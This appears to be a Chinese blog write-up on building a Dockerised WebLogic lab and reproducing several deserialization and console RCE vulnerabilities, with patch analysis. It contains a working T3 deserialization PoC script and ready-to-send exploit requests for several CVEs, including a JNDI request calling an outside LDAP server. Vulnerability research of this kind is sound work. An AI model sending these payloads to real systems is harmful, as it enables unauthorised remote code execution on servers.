weblogic环境搭建和漏洞验证

安装

这里有一个很棒的工具,可以帮你装各种版本的weblogic和它的依赖环境

https://github.com/QAX-A-Team/WeblogicEnvironment

下载weblogic,https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

weblogic环境搭建和漏洞验证

下载jdk,https://download.oracle.com/otn/java/jdk/8u181-b13/96a7b8442fe848ef90c96a2fad6ed6d1/jdk-8u181-linux-x64.tar.gz?AuthParam=1620890614_87213d268a2b427a496676a8fcee37b0

分别放在jdks和weblogics目录

weblogic环境搭建和漏洞验证

构建镜像命令如下:

docker build --build-arg JDK_PKG=jdk-8u121-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk8u121 .

镜像构建完成后,执行以下命令运行:

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk8u121 weblogic1036jdk8u121

运行后可访问http://localhost:7001/console/login/LoginForm.jsp登录到Weblogic Server管理控制台,默认用户名为weblogic,默认密码为qaxateam01

然后将一些weblogic的依赖Jar包给导出来进行远程调试。

docker cp weblogic1036jdk8u121:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk8u121:/u01/app/oracle/middleware/wlserver ./middleware/ 
docker cp weblogic1036jdk8u121:/u01/app/oracle/middleware/coherence_3.7/lib ./middleware/coherence_3.7/lib

创建一个libs文件夹,将jar包全部考进去

find ./ -name *.jar -exec mv {} ./libs/ \;

或者使用脚本:https://blog.csdn.net/qq_34101364/article/details/106061182

使用idea打开,然后配置环境,保持与刚才的jdk版本一致

weblogic环境搭建和漏洞验证
右键点击libs文件夹,add as library

weblogic环境搭建和漏洞验证

配置远程调试
weblogic环境搭建和漏洞验证

调试

poc如下:

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.1.40"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

idea中weblogic.rjvm.InboundMsgAbbrev#readObject里面设置断点,debug运行,然后使用上面poc发送payload

weblogic环境搭建和漏洞验证

我这个版本是安全版本,不会触发漏洞。如果存在漏洞,执行完成后,查看docker容器会发现创建了相应文件。

docker exec  weblogic1036jdk8u121 ls tmp/

漏洞

XMLDecoder 反序列化漏洞(CVE-2017-3506)

影响版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0

发包:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 642

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

访问网址:http://localhost:7001/bea_wls_internal/test.jsp

补丁:http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html,在文件WorkContextXmlInputAdapter.java中,添加了validate()

public WorkContextXmlInputAdapter(InputStream is)  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();    try
    {      int next = 0;
      next = is.read();      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }    catch (Exception e)
    {      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));    
  this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }  
  private void validate(InputStream is)  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException        {          
        if (qName.equalsIgnoreCase("object")) {            
          throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }    catch (ParserConfigurationException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }    catch (SAXException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }    catch (IOException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }
  }

XMLDecoder 反序列化漏洞(CVE-2017-10271)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.136.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1113

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
            <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                <string>id > /tmp/b4</string>
                                </void>
                            </array>
                        <void method="start"/></void>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
        <soapenv:Body/>
</soapenv:Envelope>

补丁:https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html,限制了object,new, method, void,array等关键字段。

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

XMLDecoder 反序列化漏洞(CVE-2017-2725)

这次的补丁内容我们文字化一下:

1、 禁用 object、new、method 标签

2、 如果使用 void 标签,只能有 index 属性

3、 如果使用 array 标签,且标签使用的是 class 属性,则它的值只能是 byte

这次的补丁可以说是比上一次严格的多,前两点虽然很大程度上限制了我们不能随意生成对象,调用方法,但好在还有一个 class 标签可以使用,最关键的还在于第三点,它限制了我们的参数不能再是 String 类型,而只能是 byte 类型,所以我们的思路只能从这一点出发,整理一下思路,我们要寻找的是这样一个类:

1、 他的成员变量是 byte 类型

2、 在该类进行实例化的时候就能造成命令执行。

于是便有了 oracle.toplink.internal.sessions.UnitOfWorkChangeSet 来满足我们的需求。

看一下构造函数,该类会对传给它的 byte 值进行反序列化,可以看到这是一个标准的二次反序列化,于是满足二次反序列的 payload 应该都可以用,如 AbstractPlatformTransactionManager、7u21 等等。

weblogic环境搭建和漏洞验证

参考:https://www.freebuf.com/vuls/206374.html

payload

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
                <void index="0">
                <byte>-84</byte>
                ...
                ...
            </array></void></class>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

修复,禁用class标签

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if (qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if (qName.equalsIgnoreCase("class")) {
               throw new IllegalStateException("Invalid element qName:class");
            } else if (qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if (qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if (qName.equalsIgnoreCase("void")) {
                  for(int i = 0; i < attributes.getLength(); ++i) {
                     if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
                     }
                  }
               }
               if (qName.equalsIgnoreCase("array")) {
                  String attClass = attributes.getValue("class");
                  if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }
                  String lengthString = attributes.getValue("length");
                  if (lengthString != null) {
                     try {
                        int length = Integer.valueOf(lengthString);
                        if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
                           throw new IllegalStateException("Exceed array length limitation");
                        }
                        this.overallarraylength += length;
                        if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
                           throw new IllegalStateException("Exceed over all array limitation.");
                        }

未授权命令执行漏洞(CVE-2020-14882)

影响版本

Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0

poc

http://localhost:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)

远程代码执行(CVE-2021-2109 )

影响版本

WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0
java -jar /Users/rym/all/program/tools/JNDIExploitv1.11/JNDIExploit-v1.11.jar  -i 7.249.32.125 -l 7389 -p 7080

poc

POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://7.249.32;125:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1Host: localhost:7001User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closecmd:idCookie: ADMINCONSOLESESSION=nM8lXW3nshhqyFuWs47qjIiQP0tUMtRYRHbBUFDXA8QIxRpdyNqr!964275826Upgrade-Insecure-Requests: 1

http://cn-sec.com/archives/261137.html

参考:

https://www.cnblogs.com/nice0e3/p/14201884.html

https://github.com/QAX-A-Team/WeblogicEnvironment

https://xz.aliyun.com/t/8701

https://www.freebuf.com/vuls/270372.html

上一篇:Weblogic虚拟目录的正确配置


下一篇:Weblogic 任意文件上传漏洞